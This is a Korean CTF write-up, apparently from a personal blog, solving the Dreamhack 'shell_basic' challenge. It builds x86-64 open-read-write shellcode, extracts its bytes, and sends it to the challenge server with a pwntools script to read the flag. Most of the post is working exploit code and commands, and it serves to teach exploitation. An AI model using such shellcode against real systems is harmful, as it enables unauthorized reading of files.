IT/Wargame

[System Hacking] shell_basic: orw를 통해 flag 파일 얻기

kykyky 2024. 2. 29. 02:34

1. mycode 어셈블리 작성하기

 

이 문제에서 orw를 하기 위해서는 아래와 같은 syscall이 필요하다.

 

1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
2. read(fd, buf, 0x30)
3. write(1, buf, 0x30)

 

 

따라서 위를 수행하는 어셈블리를 아래와 같이 작성했다.

 

"/home/shell_basic/flag_name_is_loooooong"의 hex를 stack에 push하기

xor rax, rax 
push rax
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax

 

인자 설정 후 syscall(open)
mov rdi, rsp   
xor rsi, rsi    
xor rdx, rdx   
mov rax, 0x2      
syscall

 

인자 설정 후 syscall(read)
mov rdi, rax     
mov rsi, rsp
sub rsi, 0x30    
mov rdx, 0x30    
mov rax, 0x0     
syscall  

 

인자 설정 후 syscall(write)
mov rdi, 0x1        
mov rax, 0x1     
syscall  

 

2. mycode.c 작성하기

 

위 어셈블리를 스켈레톤 코드에 끼워넣어 c코드를 작성했습니다.

 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "xor rax, rax\n"
    "push rax\n"
    "mov rax, 0x676e6f6f6f6f6f6f\n"
    "push rax\n"
    "mov rax, 0x6c5f73695f656d61\n"
    "push rax\n"
    "mov rax, 0x6e5f67616c662f63\n"
    "push rax\n"
    "mov rax, 0x697361625f6c6c65\n"
    "push rax\n"
    "mov rax, 0x68732f656d6f682f\n"
    "push rax\n"
    "mov rdi, rsp\n"
    "xor rsi, rsi\n"
    "xor rdx, rdx\n"
    "mov rax, 2\n"
    "syscall\n"
    "\n"
    "mov rdi, rax\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30\n"
    "mov rdx, 0x30\n"
    "mov rax, 0x0\n"
    "syscall\n"
    "\n"
    "mov rdi, 1\n"
    "mov rax, 0x1\n"
    "syscall\n"
    "\n"
    "xor rdi, rdi\n"
    "mov rax, 0x3c\n"
    "syscall");

void run_sh();

int main() { run_sh(); }

 

3. 컴파일하여 mycode 생성하기

gcc -o mycode mycode.c -masm=intel

 

4. objdump 이용하여 bytecode 확인하기

objdump -d mycode

 

 

5. 위 출력 결과 중 필요한 부분 (run_sh)만 긁은 다음 bytecode만 남기기

 48 31 c0                
50                      
48 b8 6f 6f 6f 6f 6f    
6f 6e 67
50                      
48 b8 61 6d 65 5f 69    
73 5f 6c
50                      
48 b8 63 2f 66 6c 61    
67 5f 6e
50                     
48 b8 65 6c 6c 5f 62    
61 73 69
50                     
48 b8 2f 68 6f 6d 65    
2f 73 68
50                      
48 89 e7               
48 31 f6                
48 31 d2                
48 c7 c0 02 00 00 00   
0f 05                   
48 89 c7                
48 89 e6               
48 83 ee 30             
48 c7 c2 30 00 00 00   
48 c7 c0 00 00 00 00    
0f 05                   
48 c7 c7 01 00 00 00    
48 c7 c0 01 00 00 00   
0f 05                   
48 31 ff               
48 c7 c0 3c 00 00 00    
0f 05                  

 

6. python 코드를 이용해 최종 셸코드로 변환

file = open('run_sh_bytecode.txt', 'r')
lines = file.readlines()
file.close()

result = []

for line in lines:
    line = line.split(' ')

    for i in range(len(line)):
        line_i = line[i]

        if (line_i == ''):
            break

        if (len(line_i) > 2):
            line_i = line_i.replace('\n', '')
        
        result.append(line_i)

bytecode = ""

for i in range(len(result)):
    bytecode = bytecode + r"\x" + result[i]

print(bytecode)

 

7. python 코드에 최종 셸코드 삽입하여 문제 서버에 전송

attack.py

from pwn import *

p = remote("host3.dreamhack.games", 18902)

shellcode = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendafter(b": ", shellcode)
p.interactive()

 

python3 attack.py

 

8. flag 확인

'IT > Wargame' 카테고리의 다른 글

[System Hacking] fho ㅡ Hook overwrite  (1) 2024.05.17
[System Hacking] basic_rop_x64  (0) 2024.03.19
[System Hacking] ssp_001  (0) 2024.03.07
[System Hacking] basic_exploitation_001  (0) 2024.03.03
[System Hacking] basic_exploitation_000  (0) 2024.03.02